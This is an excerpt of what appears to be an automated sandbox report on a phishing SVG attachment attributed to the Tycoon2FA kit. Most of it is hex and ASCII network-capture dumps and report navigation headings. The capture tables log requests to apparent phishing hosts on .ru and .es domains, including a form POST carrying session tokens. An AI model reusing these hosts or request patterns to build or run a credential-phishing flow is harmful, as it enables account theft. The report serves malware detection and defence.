7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-17 22:11:37 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-17 22:11:37 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-17 22:11:37 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-17 22:11:37 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-17 22:11:37 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-03-17 22:11:37 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-17 22:11:37 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-17 22:11:37 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:38 UTC	634	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://abc.lyraxw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:38 UTC	740	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:38 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=EQVQ6zEm.5nbnDD5ZBV1.eOUFMUj1mqbBvhAv1CIcwA-1742249498-1.0.1.1-TwuNIYql_C5XaauB1ZUTFrQBzcXSBPWHnq8MrtEo5dB3KML8mJFcGYuilTLwpulDPFZrAnQJHmzHOzw9KMACb3I7JNWTe74b17YLT_FTGvU; path=/; expires=Mon, 17-Mar-25 22:41:38 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 921fd3c35df5433e-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 22:11:38 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-17 22:11:38 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:46 UTC	564	OUT	GET /bhanchod$4uyqregl HTTP/1.1 Host: pb7t0b.jnfemo.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://abc.lyraxw.es Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://abc.lyraxw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:47 UTC	812	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yFIo1uFbtBFwARJq9FNOM4PJGQUZd4MG3FRu7o4zlbym57nhEWL9Qveq9LdLPbFJNfqbbazIJII14CnX4NKLkxDfpJE7E7FRYNCDIzi8lLfeYUPnqP6TmfCLBwO1BKSEkHkv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921fd3f80a39c8c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2019&min_rtt=1991&rtt_var=766&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1136&delivery_rate=1466599&cwnd=233&unsent_bytes=0&cid=ff3e4b888d10f34e&ts=764&x=0"
2025-03-17 22:11:47 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-17 22:11:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:47 UTC	1404	OUT	POST /glBytjKUIFd02UrOLpXRLqo HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive Content-Length: 805 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4k6cBnUibiZpKBCB sec-ch-ua-mobile: ?0 Accept: / Origin: https://abc.lyraxw.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://abc.lyraxw.es/HX1rTg/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNpL2NUSVVnT0hPRzMxTm1MRVY1akE9PSIsInZhbHVlIjoieTUzMnVnOUxaVHZWcUtsOHF4dHhnSTMwS3RMQXB4bU5IWDBwbm5XTjdvaUlHeDg4Yy9aZUcrZWt0dWd0ZFFnbjByM0hkZWM1OFFMWEw0QzFpVU5CYzBJeGd4VU0vRkhsY0hQVkN1SGlJUStLbE9UK0JRL0pCTWFKV1IvZVFqY2ciLCJtYWMiOiJjMTMwNDc4ODE3YjI4MTdkOTBiNjc1M2FjOTE2MGFmN2FjNzQzZmNjNmQ2NzBjNzlhOWNiYWUwZTg4MzA1MzlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdhcFU0QkRqRi8vTjRiN3BFUVorR1E9PSIsInZhbHVlIjoiVWl3TXlkTCtidkRtckUvWWpRY1pLbUtYUDdLRFd5UG50U3ZtRHVJdXE2VkhKUTE0K29FaG5TMzd3YmlaN0FnYW44TzlGaGtleitsbFhUM3QvZklGUlhMTGNJdUZxd1BETysyNjMyM3VYeGVJTjNaS2NmSXpsRHlLQWg0U0ladEwiLCJtYWMiOiIzOGRiODhkZDViNjYxMmIwZTMyMTg2Zjk2ZGFlMDgxZDExY2RlMThiZGZmMDY5OTU2NjY2MTdhY2Q4ZDIxZmI2IiwidGFnIjoiIn0%3D
2025-03-17 22:11:47 UTC	805	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 34 6b 36 63 42 6e 55 69 62 69 5a 70 4b 42 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 54 53 71 67 67 61 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 34 6b 36 63 42 6e 55 69 62 69 5a 70 4b 42 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 51 79 47 73 41 68 32 34 6e 75 39 47 43 32 73 4b 31 63 66 48 4e 50 36 6f 37 41 78 36 34 30 6a 73 39 46 69 50 32 74 6f 46 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 34 6b 36 Data Ascii: ------WebKitFormBoundary4k6cBnUibiZpKBCBContent-Disposition: form-data; name="bltpg"TSqgga------WebKitFormBoundary4k6cBnUibiZpKBCBContent-Disposition: form-data; name="sid"QyGsAh24nu9GC2sK1cfHNP6o7Ax640js9FiP2toF------WebKitFormBoundary4k6
2025-03-17 22:11:47 UTC	1189	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:47 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s%2FA3OyziOBmmCiD1PjGK1tmHjvq3MkxgHrA%2BCUNyrC%2Fqku5bL9AEty6tecd%2FBrYFVow2Q7B%2B4jejY4asof%2BRrXQds99KcGubUxMRBCgDWY9LKHMeSeuyIIDrzegirbGOTMO%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1051&rtt_var=760&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=3120&delivery_rate=2597309&cwnd=251&unsent_bytes=0&cid=9cb1b8df82f38c67&ts=121&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImNhdkREZFpxR1lzOUh3NGZRV0RNMXc9PSIsInZhbHVlIjoiV1BCaCtVd2p2MkJIbk40UkV2dnhMSTBHYnhsOVFtZkl4RXlqMXVqOFpGeHI2K2lpb1BNWHpJTDdXemVFNkk3RGVuUXRYS2FxVEdCWXBzZmVyUXVXbXpQRVB6L09raERIYzVpMS9NV3BlUUE4TUlEQVFSZVNqVGhFU3kzbnFQbnkiLCJtYWMiOiI4YWNmMDkxNDIxYzVkNmNjY2JkZGI2MGQ5Zjk3ZGNhODZjNDZhYTM2MmZhMmZlYTg1ZTE5ZDYyOTBjNWRjOThlIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 00:11:47 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-17 22:11:47 UTC	787	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 67 76 62 6b 6f 34 57 44 5a 4f 51 56 46 71 54 45 68 6a 56 32 52 73 65 6a 49 72 4f 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 46 45 76 63 31 70 69 52 55 68 6a 4b 7a 45 35 5a 54 68 6b 4d 30 30 33 4e 7a 64 4b 5a 7a 63 7a 54 6e 46 42 53 55 68 75 54 6e 51 33 5a 79 74 4d 4b 30 74 42 53 32 46 5a 62 46 5a 36 53 6d 68 44 4b 79 38 72 53 45 4e 58 62 54 51 34 56 54 64 73 57 6b 46 4e 64 7a 46 55 59 30 5a 58 51 6c 45 34 55 6b 31 59 4f 48 68 6c 54 6b 52 5a 5a 6e 49 79 57 48 6f 79 53 32 6c 68 4e 58 46 61 5a 30 46 4d 59 6b 56 6e 62 54 6b 76 64 47 68 68 55 6d 52 73 65 47 6c 4f 4d 46 68 4e 55 30 70 31 4f 44 42 61 4d 31 46 7a 5a 30 68 31 4e 31 41 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Imgvbko4WDZOQVFqTEhjV2RsejIrOUE9PSIsInZhbHVlIjoiNFEvc1piRUhjKzE5ZThkM003NzdKZzczTnFBSUhuTnQ3ZytMK0tBS2FZbFZ6SmhDKy8rSENXbTQ4VTdsWkFNdzFUY0ZXQlE4Uk1YOHhlTkRZZnIyWHoyS2lhNXFaZ0FMYkVnbTkvdGhhUmRseGlOMFhNU0p1ODBaM1FzZ0h1N1A
2025-03-17 22:11:47 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-17 22:11:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VMail_39200330.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Windows Analysis Report
VMail_39200330.svg

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:47 UTC	397	OUT	GET /bhanchod$4uyqregl HTTP/1.1 Host: pb7t0b.jnfemo.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:48 UTC	281	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cf-Cache-Status: DYNAMIC CF-RAY: 921fd3ff99cfed71-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 22:11:48 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-17 22:11:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
